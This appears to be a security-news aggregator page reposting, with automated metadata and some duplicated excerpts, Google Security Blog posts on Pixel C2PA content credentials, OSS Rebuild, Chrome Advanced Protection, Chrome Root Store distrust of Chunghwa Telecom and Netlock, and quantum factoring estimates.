The Pixel Camera application on the Pixel 10 lineup has achieved Assurance Level 2 , the highest security rating currently defined by the C2PA Conformance Program. This was made possible by a strong set of hardware-backed technologies, including Tensor G5 and the certified Titan M2 security chip, along with Android’s hardware-backed security APIs. Only mobile apps running on devices that have the necessary silicon features and Android APIs can be designed to achieve this assurance level. We are working with C2PA to help define future assurance levels that will push protections even deeper into hardware. 

Achieving Assurance Level 2 requires verifiable, difficult-to-forge evidence. Google has built an end-to-end system on Pixel 10 devices that verifies several key attributes. However, the security of any claim is fundamentally dependent on the integrity of the application and the OS, an integrity that relies on both being kept current with the latest security patches.

 Hardware Trust: Android Key Attestation in Pixel 10 is built on support for Device Identifier Composition Engine (DICE) by Tensor, and Remote Key Provisioning (RKP) to establish a trust chain from the moment the device starts up to the OS, stamping out the most common forms of abuse on Android. 

 Genuine Device and Software: Aided by the hardware trust described above, Android Key Attestation allows Google C2PA Certification Authorities (CAs) to verify that they are communicating with a genuine physical device. It also allows them to verify the device has booted securely into a Play Protect Certified version of Android , and verify how recently the operating system, bootloader, and system software and firmware were patched for security vulnerabilities. 

 Genuine Application: Hardware-backed Android Key Attestation certificates include the package name and signing certificates associated with the app that requested the generation of the C2PA signing key, allowing Google C2PA CAs to check that the app requesting C2PA claim signing certificates is a trusted, registered app.

 Tamper-Resistant Key Storage: On Pixel, C2PA claim signing keys are generated and stored using Android StrongBox in the Titan M2 security chip. Titan M2 is Common Criteria PP.0084 AVA_VAN.5 certified , meaning that it is strongly resistant to extracting or tampering with the cryptographic keys stored in it. Android Key Attestation allows Google C2PA CAs to verify that private keys were indeed created inside this hardware-protected vault before issuing certificates for their public key counterparts.

The C2PA Conformance Program requires verifiable artifacts backed by a hardware Root of Trust, which Android provides through features like Key Attestation. This means Android developers can leverage these same tools to build apps that meet this standard for their users.

 Privacy Built on a Foundation of Trust: Verifiable, Not Personally Identifiable

The robust security stack we described is the foundation of privacy. But Google takes steps further to ensure your privacy even as you use Content Credentials, which required solving two additional challenges:

 Challenge 1: Server-side Processing of Certificate Re
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Introducing OSS Rebuild: Open Source, Rebuilt to Last
https://kevwire.com/record/google-security-introducing-oss-rebuild-open-source-a3fe29cc0706
Introducing OSS Rebuild: Open Source, Rebuilt to Last (Jul 21, 2025).
Posted by Matthew Suozzo, Google Open Source Security Team (GOSST) 

 Today we're excited to announce OSS Rebuild, a new project to strengthen trust in open source package ecosystems by reproducing upstream artifacts. As supply chain attacks continue to target widely-used dependencies, OSS Rebuild gives security teams powerful data to avoid compromise without burden on upstream maintainers. 

 The project comprises: 

 Automation to derive declarative build definitions for existing PyPI (Python), npm (JS/TS), and Crates.io (Rust) packages. 

 SLSA Provenance for thousands of packages across our supported ecosystems, meeting SLSA Build Level 3 requirements with no publisher intervention. 

 Build observability and verification tools that security teams can integrate into their existing vulnerability management workflows. 

 Infrastructure definitions to allow organizations to easily run their own instances of OSS Rebuild to rebuild, generate, sign, and distribute provenance. 

 Challenges 

 Open source software has become the foundation of our digital world. From critical infrastructure to everyday applications, OSS components now account for 77% of modern applications. With an estimated value exceeding $12 trillion , open source software has never been more integral to the global economy. 

 Yet this very ubiquity makes open source an attractive target: Recent high-profile supply chain attacks have demonstrated sophisticated methods for compromising widely-used packages. Each incident erodes trust in open ecosystems, creating hesitation among both contributors and consumers. 

 The security community has responded with initiatives like OpenSSF Scorecard , pypi's Trusted Publishers , and npm's native SLSA support . However, there is no panacea: Each effort targets a certain aspect of the problem, often making tradeoffs like shifting work onto publishers and maintainers. 

 Our Aim 

 Our aim with OSS Rebuild is to empower the security community to deeply understand
Sources:
Google Security Research: Introducing OSS Rebuild: Open Source, Rebuilt to Last: https://security.googleblog.com/2025/07/introducing-oss-rebuild-open-source.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Matthew Suozzo, Google Open Source Security Team (GOSST) 

 Today we're excited to announce OSS Rebuild, a new project to strengthen trust in open source package ecosystems by reproducing upstream artifacts. As supply chain attacks continue to target widely-used dependencies, OSS Rebuild gives security teams powerful data to avoid compromise without burden on upstream maintainers. 

 The project comprises: 

 Automation to derive declarative build definitions for existing PyPI (Python), npm (JS/TS), and Crates.io (Rust) packages. 

 SLSA Provenance for thousands of packages across our supported ecosystems, meeting SLSA Build Level 3 requirements with no publisher intervention. 

 Build observability and verification tools that security teams can integrate into their existing vulnerability management workflows. 

 Infrastructure definitions to allow organizations to easily run their own instances of OSS Rebuild to rebuild, generate, sign, and distribute provenance. 

 Challenges 

 Open source software has become the foundation of our digital world. From critical infrastructure to everyday applications, OSS components now account for 77% of modern applications. With an estimated value exceeding $12 trillion , open source software has never been more integral to the global economy. 

 Yet this very ubiquity makes open source an attractive target: Recent high-profile supply chain attacks have demonstrated sophisticated methods for compromising widely-used packages. Each incident erodes trust in open ecosystems, creating hesitation among both contributors and consumers. 

 The security community has responded with initiatives like OpenSSF Scorecard , pypi's Trusted Publishers , and npm's native SLSA support . However, there is no panacea: Each effort targets a certain aspect of the problem, often making tradeoffs like shifting work onto publishers and maintainers. 

 Our Aim 

 Our aim with OSS Rebuild is to empower the security community to deeply understand and control their supply chains by making package consumption as transparent as using a source repository. Our rebuild platform unlocks this transparency by utilizing a declarative build process, build instrumentation, and network monitoring capabilities which, within the SLSA Build framework, produces fine-grained, durable, trustworthy security metadata. 

 Building on the hosted infrastructure model that we pioneered with OSS Fuzz for memory issue detection, OSS Rebuild similarly seeks to use hosted resources to address security challenges in open source, this time aimed at securing the software supply chain. 

 Our vision extends beyond any single ecosystem: We are committed to bringing supply chain transparency and security to all open source software development. Our initial support for the PyPI (Python), npm (JS/TS), and Crates.io (Rust) package registries—providing rebuild provenance for many of their most popular packages—is just the beginning of our journey. 

 How OSS Rebuild Works 

 Through automation and heuristics, we determine a prospective build definition for a target package and rebuild it. We semantically compare the result with the existing upstream artifact, normalizing each one to remove instabilities that cause bit-for-bit comparisons to fail (e.g. archive compression). Once we reproduce the package, we publish the build definition and outcome via SLSA Provenance . This attestation allows consumers to reliably verify a package's origin within the source history, understand and repeat its build process, and customize the build from a known-functional baseline (or maybe even use it to generate more detailed SBOMs ). 

 With OSS Rebuild's existing automation for PyPI, npm, and Crates.io, most packages obtain protection effortlessly without user or maintainer intervention. Where automation isn't currently able to fully reproduce the package, we offer manual build specification so the whole community benefits from individual contributions. 

 And we are also excited at the potential for AI to help reproduce packages: Build and release processes are often described in natural language documentation which, while difficult to utilize with discrete logic, is increasingly useful to language models. Our initial experiments have demonstrated the approach's viability in automating exploration and testing, with limited human intervention, even in the most complex builds. 

 Our Capabilities 

 OSS Rebuild helps detect several classes of supply chain compromise: 

 Unsubmitted Source Code - When published packages contain code not present in the public source repository, OSS Rebuild will not attest to the artifact. 

 Real world attack: solana/webjs (2024) 

 Build Environment Compromise - By creating standardized, minimal build environments with comprehensive monitoring, OSS Rebuild can detect suspicious build activity or avoid exposure to compromised components altogether. 

 Real world attack: tj-actions/changed-files (2025) 

 Stealthy Backdoors - Even sophisticated backdoors like xz often exhibit anomalous behavioral patterns during builds. OSS Rebuild's dynamic analysis capabilities can detect unusual execution paths or suspicious operations that are otherwise impractical to identify through manual review. 

 Real world attack: xz-utils (2024) 

 For enterprises and security professionals, OSS Rebuild can... 

 Enhance metadata without changing registries by enriching data for upstream packages. No need to maintain custom registries or migrate to a new package ecosystem. 

 Augment SBOMs by adding detailed build observability information to existing Software Bills of Materials, creating a more complete security picture. 

 Accelerate vulnerability response by providing a path to vendor, patch, and re-host upstream packages using our verifiable build definitions. 

 For publishers and maintainers of open source packages, OSS Rebuild can... 

 Strengthen package trust by providing consumers with independent verification of the packages' build integrity, regardless of the sophistication of the original build. 

 Retrofit historical packages' integrity with high-quality build attestations, regardless of whether build attestations were present or supported at the time of publication. 

 Reduce CI security-sensitivity allowing publishers to focus on core development work. CI platforms tend to have complex authorization and execution models and by performing separate rebuilds, the CI environment no longer needs to be load-bearing for your packages' security. 

 Check it out! 

 The easiest ( but not only! ) way to access OSS Rebuild attestations is to use the provided Go-based command-line interface. It can be compiled and installed easily: 

 $ go install github.com/google/oss-rebuild/cmd/oss-rebuild@latest 

 You can fetch OSS Rebuild's SLSA Provenance: 

 $ oss-rebuild get cratesio syn 2.0.39 

 ..or explore the rebuilt versions of a particular package: 

 $ oss-rebuild list pypi absl-py 

 ..or even rebuild the package for yourself: 

 $ oss-rebuild get npm lodash 4.17.20 --output=dockerfile | \ 

 docker run $(docker buildx build -q -) 

 Join Us in Helping Secure Open Source 

 OSS Rebuild is not just about fixing problems; it's about empowering end-users to make open source ecosystems more secure and transparent through collective action. If you're a developer, enterprise, or security researcher interested in OSS security, we invite you to follow along and get involved! 

 Check out the code, share your ideas, and voice your feedback at github.com/google/oss-rebuild . 

 Explore the data and contribute to improving support for your critical ecosystems and packages. 

 Learn more about SLSA Provenance at slsa.dev

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Advancing Protection in Chrome on Android
https://kevwire.com/record/google-security-advancing-protection-in-chrome-on-8b19cc0fc165
Advancing Protection in Chrome on Android (Jul 8, 2025).
Posted by David Adrian, Javier Castro & Peter Kotwicz, Chrome Security Team 

Android recently announced Advanced Protection , which extends Google’s Advanced Protection Program to a device-level security setting for Android users that need heightened security—such as journalists, elected officials, and public figures. Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re better protected against the most sophisticated threats.

Advanced Protection acts as a single control point for at-risk users on Android that enables important security settings across applications, including many of your favorite Google apps, including Chrome. In this post, we’d like to do a deep dive into the Chrome features that are integrated with Advanced Protection, and how enterprises and users outside of Advanced Protection can leverage them.

Android Advanced Protection integrates with Chrome on Android in three main ways:

 Enables the “Always Use Secure Connections” setting for both public and private sites, so that users are protected from attackers reading confidential data or injecting malicious content into insecure plaintext HTTP connections. Insecure HTTP represents less than 1% of page loads for Chrome on Android. 

 Enables full Site Isolation on mobile devices with 4GB+ RAM, so that potentially malicious sites are never loaded in the same process as legitimate websites. Desktop Chrome clients already have full Site Isolation.

 Reduces attack surface by disabling Javascript optimizations, so that Chrome has a smaller attack surface and is harder to exploit.

Let’s take a look at all three, learn what they do, and how they can be controlled outside of Advanced Protection.

 Always Use Secure Connections

“Always Use Secure Connections” (also known as HTTPS-First Mode in blog posts and HTTPS-Only Mode in the enterprise policy) is a Chrome setting that forces HTTPS wherever possible, and as
Sources:
Google Security Research: Advancing Protection in Chrome on Android: https://security.googleblog.com/2025/07/advancing-protection-in-chrome-on.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by David Adrian, Javier Castro & Peter Kotwicz, Chrome Security Team 

Android recently announced Advanced Protection , which extends Google’s Advanced Protection Program to a device-level security setting for Android users that need heightened security—such as journalists, elected officials, and public figures. Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re better protected against the most sophisticated threats.

Advanced Protection acts as a single control point for at-risk users on Android that enables important security settings across applications, including many of your favorite Google apps, including Chrome. In this post, we’d like to do a deep dive into the Chrome features that are integrated with Advanced Protection, and how enterprises and users outside of Advanced Protection can leverage them.

Android Advanced Protection integrates with Chrome on Android in three main ways:

 Enables the “Always Use Secure Connections” setting for both public and private sites, so that users are protected from attackers reading confidential data or injecting malicious content into insecure plaintext HTTP connections. Insecure HTTP represents less than 1% of page loads for Chrome on Android. 

 Enables full Site Isolation on mobile devices with 4GB+ RAM, so that potentially malicious sites are never loaded in the same process as legitimate websites. Desktop Chrome clients already have full Site Isolation.

 Reduces attack surface by disabling Javascript optimizations, so that Chrome has a smaller attack surface and is harder to exploit.

Let’s take a look at all three, learn what they do, and how they can be controlled outside of Advanced Protection.

 Always Use Secure Connections

“Always Use Secure Connections” (also known as HTTPS-First Mode in blog posts and HTTPS-Only Mode in the enterprise policy) is a Chrome setting that forces HTTPS wherever possible, and asks for explicit permission from you before connecting to a site insecurely. There may be attackers attempting to interpose on connections on any network, whether that network is a coffee shop, airport, or an Internet backbone. This setting protects users from these attackers reading confidential data and injecting malicious content into otherwise innocuous webpages. This is particularly useful for Advanced Protection users, since in 2023, plaintext HTTP was used as an exploitation vector during the Egyptian election .

Beyond Advanced Protection, we previously posted about how our goal is to eventually enable “Always Use Secure Connections” by default for all Chrome users. As we work towards this goal, in the last two years we have quietly been enabling it in more places beyond Advanced Protection, to help protect more users in risky situations, while limiting the number of warnings users might click through:

 We added a new variant of the setting that only warns on public sites, and doesn’t warn on local networks or single-label hostnames (e.g. 192.168.0.1 , shortlink/ , 10.0.0.1 ). These names often cannot be issued a publicly-trusted HTTPS certificate. This variant protects against most threats—accessing a public website insecurely—but still allows for users to access local sites, which may be on a more trusted network, without seeing a warning. 

 We’ve automatically enabled “Always Use Secure Connections” for public sites in Incognito Mode for the last year, since Chrome 127 in June 2024.

 We automatically prevent downgrades from HTTPS to plaintext HTTP on sites that Chrome knows you typically access over HTTPS (a heuristic version of the HSTS header ), since Chrome 133 in January 2025.

 Always Use Secure Connections has two modes—warn on insecure public sites, and warn on any insecure site. 

Any user can enable “Always Use Secure Connections” in the Chrome Privacy and Security settings, regardless of if they’re using Advanced Protection. Users can choose if they would like to warn on any insecure site, or only insecure public sites. Enterprises can opt their fleet into either mode, and set exceptions using the HTTPSOnlyMode and HTTPAllowlist policies, respectively. Website operators should protect their users' confidentiality, ensure their content is delivered exactly as they intended, and avoid warnings, by deploying HTTPS. 

 Full Site Isolation

 Site Isolation is a security feature in Chrome that isolates each website into its own rendering OS process. This means that different websites, even if loaded in a single tab of the same browser window, are kept completely separate from each other in memory. This isolation prevents a malicious website from accessing data or code from another website, even if that malicious website manages to exploit a vulnerability in Chrome’s renderer—a second bug to escape the renderer sandbox is required to access other sites. Site isolation improves security, but requires extra memory to have one process per site. Chrome Desktop isolates all sites by default. However, Android is particularly sensitive to memory usage, so for mobile Android form factors, when Advanced Protection is off, Chrome will only isolate a site if a user logs into that site, or if the user submits a form on that site. On Android devices with 4GB+ RAM in Advanced Protection (and on all desktop clients), Chrome will isolate all sites. Full Site Isolation significantly reduces the risk of cross-site data leakage for Advanced Protection users.

 JavaScript Optimizations and Security

Advanced Protection reduces the attack surface of Chrome by disabling the higher-level optimizing Javascript compilers inside V8. V8 is Chrome’s high-performance Javascript and WebAssembly engine. The optimizing compilers in V8 make certain websites run faster, however they historically also have been a source of known exploitation of Chrome. Of all the patched security bugs in V8 with known exploitation, disabling the optimizers would have mitigated ~50%. However, the optimizers are why Chrome scores the highest on industry-wide benchmarks such as Speedometer . Disabling the optimizers blocks a large class of exploits, at the cost of causing performance issues for some websites.

Javascript optimizers can be disabled outside of Advanced Protection Mode via the “Javascript optimization & security” Site Setting. The Site Setting also enables users to disable/enable Javascript optimizers on a per-site basis. Disabling these optimizing compilers is not limited to Advanced Protection. Since Chrome 133, we’ve exposed this as a Site Setting that allows users to enable or disable the higher-level optimizing compilers on a per-site basis, as well as change the default.

 Settings -> Privacy and Security -> Javascript optimization and security 

This setting can be controlled by the DefaultJavaScriptOptimizerSetting enterprise policy, alongside JavaScriptOptimizerAllowedForSites and JavaScriptOptimizerBlockedForSites for managing the allowlist and denylist. Enterprises can use this policy to block access to the optimizer, while still allowlisting 1 the SaaS vendors their employees use on a daily basis. It’s available on Android and desktop platforms

Chrome aims for the default configuration to be secure for all its users, and we’re continuing to raise the bar for V8 security in the default configuration by rolling out the V8 sandbox . 

 Protecting All Users

Billions of people use Chrome and Android, and not all of them have the same risk profile. Less sophisticated attacks by commodity malware can be very lucrative for attackers when done at scale, but so can sophisticated attacks on targeted users. This means that we cannot expect the security tradeoffs we make for the default configuration of Chrome to be suitable for everyone. 

Advanced Protection, and the security settings associated with it, are a way for users with varying risk profiles to tailor Chrome to their security needs, either as an indi
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sustaining Digital Certificate Security - Upcoming Changes to the Chrome Root Store
https://kevwire.com/record/google-security-sustaining-digital-certificate-security-chrome-root-store-changes-537c3896067b
Sustaining Digital Certificate Security - Upcoming Changes to the Chrome Root Store (May 30, 2025).
Posted by Chrome Root Program, Chrome Security Team 

 Note: Google Chrome communicated its removal of default trust of Chunghwa Telecom and Netlock in the public forum on May 30, 2025. 

The Chrome Root Program Policy states that Certification Authority (CA) certificates included in the Chrome Root Store must provide value to Chrome end users that exceeds the risk of their continued inclusion. It also describes many of the factors we consider significant when CA Owners disclose and respond to incidents. When things don’t go right, we expect CA Owners to commit to meaningful and demonstrable change resulting in evidenced continuous improvement. 

Chrome's confidence in the reliability of Chunghwa Telecom and Netlock as CA Owners included in the Chrome Root Store has diminished due to patterns of concerning behavior observed over the past year. These patterns represent a loss of integrity and fall short of expectations, eroding trust in these CA Owners as publicly-trusted certificate issuers trusted by default in Chrome. To safeguard Chrome’s users, and preserve the integrity of the Chrome Root Store , we are taking the following action.

 Upcoming change in Chrome 139 and higher: 

 Transport Layer Security (TLS) server authentication certificates validating to the following root CA certificates whose earliest Signed Certificate Timestamp (SCT) is dated after July 31, 2025 11:59:59 PM UTC, will no longer be trusted by default.

 OU=ePKI Root Certification Authority,O=Chunghwa Telecom Co., Ltd.,C=TW 

 CN=HiPKI Root CA - G1,O=Chunghwa Telecom Co., Ltd.,C=TW 

 CN=NetLock Arany (Class Gold) Főtanúsítvány,OU=Tanúsítványkiadók (Certification Services),O=NetLock Kft.,L=Budapest,C=HU 

TLS server authentication certificates validating to the above set of roots whose earliest SCT is on or before July 31, 2025 11:59:59 PM UTC, will be unaffected by this change. 

This approach attempts to minimize disruption to existing subscribers using a previously announced Chrome featur
Sources:
Google Security Research: Sustaining Digital Certificate Security - Upcoming Changes to the Chrome Root Store: https://security.googleblog.com/2025/05/sustaining-digital-certificate-security-chrome-root-store-changes.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Chrome Root Program, Chrome Security Team 

 Note: Google Chrome communicated its removal of default trust of Chunghwa Telecom and Netlock in the public forum on May 30, 2025. 

The Chrome Root Program Policy states that Certification Authority (CA) certificates included in the Chrome Root Store must provide value to Chrome end users that exceeds the risk of their continued inclusion. It also describes many of the factors we consider significant when CA Owners disclose and respond to incidents. When things don’t go right, we expect CA Owners to commit to meaningful and demonstrable change resulting in evidenced continuous improvement. 

Chrome's confidence in the reliability of Chunghwa Telecom and Netlock as CA Owners included in the Chrome Root Store has diminished due to patterns of concerning behavior observed over the past year. These patterns represent a loss of integrity and fall short of expectations, eroding trust in these CA Owners as publicly-trusted certificate issuers trusted by default in Chrome. To safeguard Chrome’s users, and preserve the integrity of the Chrome Root Store , we are taking the following action.

 Upcoming change in Chrome 139 and higher: 

 Transport Layer Security (TLS) server authentication certificates validating to the following root CA certificates whose earliest Signed Certificate Timestamp (SCT) is dated after July 31, 2025 11:59:59 PM UTC, will no longer be trusted by default.

 OU=ePKI Root Certification Authority,O=Chunghwa Telecom Co., Ltd.,C=TW 

 CN=HiPKI Root CA - G1,O=Chunghwa Telecom Co., Ltd.,C=TW 

 CN=NetLock Arany (Class Gold) Főtanúsítvány,OU=Tanúsítványkiadók (Certification Services),O=NetLock Kft.,L=Budapest,C=HU 

TLS server authentication certificates validating to the above set of roots whose earliest SCT is on or before July 31, 2025 11:59:59 PM UTC, will be unaffected by this change. 

This approach attempts to minimize disruption to existing subscribers using a previously announced Chrome feature to remove default trust based on the SCTs in certificates. 

Additionally, should a Chrome user or enterprise explicitly trust any of the above certificates on a platform and version of Chrome relying on the Chrome Root Store (e.g., explicit trust is conveyed through a Group Policy Object on Windows), the SCT-based constraints described above will be overridden and certificates will function as they do today. 

To further minimize risk of disruption, website operators are encouraged to review the “Frequently Asked Questions" listed below.

 Why is Chrome taking action?

CAs serve a privileged and trusted role on the internet that underpin encrypted connections between browsers and websites. With this tremendous responsibility comes an expectation of adhering to reasonable and consensus-driven security and compliance expectations, including those defined by the CA/Browser Forum TLS Baseline Requirements . 

Over the past several months and years, we have observed a pattern of compliance failures, unmet improvement commitments, and the absence of tangible, measurable progress in response to publicly disclosed incident reports. When these factors are considered in aggregate and considered against the inherent risk each publicly-trusted CA poses to the internet, continued public trust is no longer justified. 

 When will this action happen?

The action of Chrome, by default, no longer trusting new TLS certificates issued by these CAs will begin on approximately August 1, 2025, affecting certificates issued at that point or later.

This action will occur in Versions of Chrome 139 and greater on Windows, macOS, ChromeOS, Android, and Linux. Apple policies prevent the Chrome Certificate Verifier and corresponding Chrome Root Store from being used on Chrome for iOS.

 What is the user impact of this action?

By default, Chrome users in the above populations who navigate to a website serving a certificate from Chunghwa Telecom or Netlock issued after July 31, 2025 will see a full page interstitial similar to this one .

Certificates issued by other CAs are not impacted by this action.

 How can a website operator tell if their website is affected?

Website operators can determine if they are affected by this action by using the Chrome Certificate Viewer.

 Use the Chrome Certificate Viewer 

 Navigate to a website (e.g., https://www.google.com )

 Click the “Tune" icon

 Click “Connection is Secure" 

 Click “Certificate is Valid" (the Chrome Certificate Viewer will open)

 Website owner action is not required , if the “Organization (O)” field listed beneath the “Issued By" heading does not contain “Chunghwa Telecom" , “行政院” , “NETLOCK Ltd.”, or “NETLOCK Kft.”

 Website owner action is required , if the “Organization (O)” field listed beneath the “Issued By" heading contains “Chunghwa Telecom" , “行政院” , “NETLOCK Ltd.”, or “NETLOCK Kft.”

 What does an affected website operator do?

We recommend that affected website operators transition to a new publicly-trusted CA Owner as soon as reasonably possible. To avoid adverse website user impact, action must be completed before the existing certificate(s) expire if expiry is planned to take place after July 31, 2025. 

While website operators could delay the impact of blocking action by choosing to collect and install a new TLS certificate issued from Chunghwa Telecom or Netlock before Chrome’s blocking action begins on August 1, 2025, website operators will inevitably need to collect and install a new TLS certificate from one of the many other CAs included in the Chrome Root Store .

 Can I test these changes before they take effect?

Yes.

A command-line flag was added beginning in Chrome 128 that allows administrators and power users to simulate the effect of an SCTNotAfter distrust constraint as described in this blog post.

 How to: Simulate an SCTNotAfter distrust 

 1. Close all open versions of Chrome

 2. Start Chrome using the following command-line flag, substituting variables described below with actual values

 --test-crs-constraints=$[Comma Separated List of Trust Anchor Certificate SHA256 Hashes]:sctnotafter=$[epoch_timestamp] 

3. Evaluate the effects of the flag with test websites

Learn more about command-line flags here .

 I use affected certificates for my internal enterprise network, do I need to do anything?

Beginning in Chrome 127, enterprises can override Chrome Root Store constraints like those described in this blog post by installing the corresponding root CA certificate as a locally-trusted root on the platform Chrome is running (e.g., installed in the Microsoft Certificate Store as a Trusted Root CA).

 How do enterprises add a CA as locally-trusted?

Customer organizations should use this enterprise policy or defer to platform provider guidance for trusting root CA certificates. 

 What about other Google products?

Other Google product team updates may be made available in the future.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tracking the Cost of Quantum Factoring
https://kevwire.com/record/google-security-tracking-cost-of-quantum-factori-2636cbeeee0c
Tracking the Cost of Quantum Factoring (May 23, 2025).
Posted by Craig Gidney, Quantum Research Scientist, and Sophie Schmieg, Senior Staff Cryptography Engineer 

 Google Quantum AI's mission is to build best in class quantum computing for otherwise unsolvable problems . For decades the quantum and security communities have also known that large-scale quantum computers will at some point in the future likely be able to break many of today’s secure public key cryptography algorithms, such as Rivest–Shamir–Adleman (RSA) . Google has long worked with the U.S. National Institute of Standards and Technology (NIST) and others in government, industry, and academia to develop and transition to post-quantum cryptography (PQC), which is expected to be resistant to quantum computing attacks. As quantum computing technology continues to advance, ongoing multi-stakeholder collaboration and action on PQC is critical. 

 In order to plan for the transition from today’s cryptosystems to an era of PQC, it's important the size and performance of a future quantum computer that could likely break current cryptography algorithms is carefully characterized. Yesterday, we published a preprint demonstrating that 2048-bit RSA encryption could theoretically be broken by a quantum computer with 1 million noisy qubits running for one week. This is a 20-fold decrease in the number of qubits from our previous estimate , published in 2019. Notably, quantum computers with relevant error rates currently have on the order of only 100 to 1000 qubits, and the National Institute of Standards and Technology (NIST) recently released standard PQC algorithms that are expected to be resistant to future large-scale quantum computers. However, this new result does underscore the importance of migrating to these standards in line with NIST recommended timelines . 

 Estimated resources for factoring have been steadily decreasing 

 Quantum computers break RSA by factoring numbers, using Shor’s algorithm. Since Peter Shor published this algorithm in 1994, the esti
Sources:
Google Security Research: Tracking the Cost of Quantum Factoring: https://security.googleblog.com/2025/05/tracking-cost-of-quantum-factori.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Craig Gidney, Quantum Research Scientist, and Sophie Schmieg, Senior Staff Cryptography Engineer 

 Google Quantum AI's mission is to build best in class quantum computing for otherwise unsolvable problems . For decades the quantum and security communities have also known that large-scale quantum computers will at some point in the future likely be able to break many of today’s secure public key cryptography algorithms, such as Rivest–Shamir–Adleman (RSA) . Google has long worked with the U.S. National Institute of Standards and Technology (NIST) and others in government, industry, and academia to develop and transition to post-quantum cryptography (PQC), which is expected to be resistant to quantum computing attacks. As quantum computing technology continues to advance, ongoing multi-stakeholder collaboration and action on PQC is critical. 

 In order to plan for the transition from today’s cryptosystems to an era of PQC, it's important the size and performance of a future quantum computer that could likely break current cryptography algorithms is carefully characterized. Yesterday, we published a preprint demonstrating that 2048-bit RSA encryption could theoretically be broken by a quantum computer with 1 million noisy qubits running for one week. This is a 20-fold decrease in the number of qubits from our previous estimate , published in 2019. Notably, quantum computers with relevant error rates currently have on the order of only 100 to 1000 qubits, and the National Institute of Standards and Technology (NIST) recently released standard PQC algorithms that are expected to be resistant to future large-scale quantum computers. However, this new result does underscore the importance of migrating to these standards in line with NIST recommended timelines . 

 Estimated resources for factoring have been steadily decreasing 

 Quantum computers break RSA by factoring numbers, using Shor’s algorithm. Since Peter Shor published this algorithm in 1994, the estimated number of qubits needed to run it has steadily decreased. For example, in 2012, it was estimated that a 2048-bit RSA key could be broken by a quantum computer with a billion physical qubits. In 2019, using the same physical assumptions – which consider qubits with a slightly lower error rate than Google Quantum AI’s current quantum computers – the estimate was lowered to 20 million physical qubits. 

 Historical estimates of the number of physical qubits needed to factor 2048-bit RSA integers. 

 This result represents a 20-fold decrease compared to our estimate from 2019 

 The reduction in physical qubit count comes from two sources: better algorithms and better error correction – whereby qubits used by the algorithm ("logical qubits") are redundantly encoded across many physical qubits, so that errors can be detected and corrected. 

 On the algorithmic side, the key change is to compute an approximate modular exponentiation rather than an exact one. An algorithm for doing this, while using only small work registers, was discovered in 2024 by Chevignard and Fouque and Schrottenloher . Their algorithm used 1000x more operations than prior work, but we found ways to reduce that overhead down to 2x. 

 On the error correction side, the key change is tripling the storage density of idle logical qubits by adding a second layer of error correction. Normally more error correction layers means more overhead, but a good combination was discovered by the Google Quantum AI team in 2023. Another notable error correction improvement is using "magic state cultivation", proposed by the Google Quantum AI team in 2024, to reduce the workspace required for certain basic quantum operations. These error correction improvements aren't specific to factoring and also reduce the required resources for other quantum computations like in chemistry and materials simulation. 

 Security implications 

 NIST recently concluded a PQC competition that resulted in the first set of PQC standards. These algorithms can already be deployed to defend against quantum computers well before a working cryptographically relevant quantum computer is built. 

 To assess the security implications of quantum computers, however, it’s instructive to additionally take a closer look at the affected algorithms (see here for a detailed look): RSA and Elliptic Curve Diffie-Hellman. As asymmetric algorithms, they are used for encryption in transit, including encryption for messaging services, as well as digital signatures (widely used to prove the authenticity of documents or software, e.g. the identity of websites). For asymmetric encryption, in particular encryption in transit, the motivation to migrate to PQC is made more urgent due to the fact that an adversary can collect ciphertexts, and later decrypt them once a quantum computer is available, known as a “store now, decrypt later” attack. Google has therefore been encrypting traffic both in Chrome and internally , switching to the standardized version of ML-KEM once it became available. Notably not affected is symmetric cryptography, which is primarily deployed in encryption at rest, and to enable some stateless services. 

 For signatures, things are more complex. Some signature use cases are similarly urgent, e.g., when public keys are fixed in hardware. In general, the landscape for signatures is mostly remarkable due to the higher complexity of the transition, since signature keys are used in many different places, and since these keys tend to be longer lived than the usually ephemeral encryption keys. Signature keys are therefore harder to replace and much more attractive targets to attack, especially when compute time on a quantum computer is a limited resource. This complexity likewise motivates moving earlier rather than later. To enable this, we have added PQC signature schemes in public preview in Cloud KMS. 

 The initial public draft of the NIST internal report on the transition to post-quantum cryptography standards states that vulnerable systems should be deprecated after 2030 and disallowed after 2035. Our work highlights the importance of adhering to this recommended timeline. 

 More from Google on PQC: https://cloud.google.com/security/resources/post-quantum-cryptography?e=48754805

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### What’s New in Android Security and Privacy in 2025
https://kevwire.com/record/google-security-whats-new-in-android-security-privacy-2025-106760b77b65
What’s New in Android Security and Privacy in 2025 (May 13, 2025).
Posted by Dave Kleidermacher, VP Engineering, Android Security and Privacy

Android’s intelligent protections keep you safe from everyday dangers. Our dedication to your security is validated by security experts, who consistently rank top Android devices highest in security, and score Android smartphones, led by the Pixel 9 Pro, as leaders in anti-fraud efficacy .

Android is always developing new protections to keep you, your device, and your data safe. Today, we’re announcing new features and enhancements that build on our industry-leading protections to help keep you safe from scams, fraud, and theft on Android.

 Smarter protections against phone call scams 

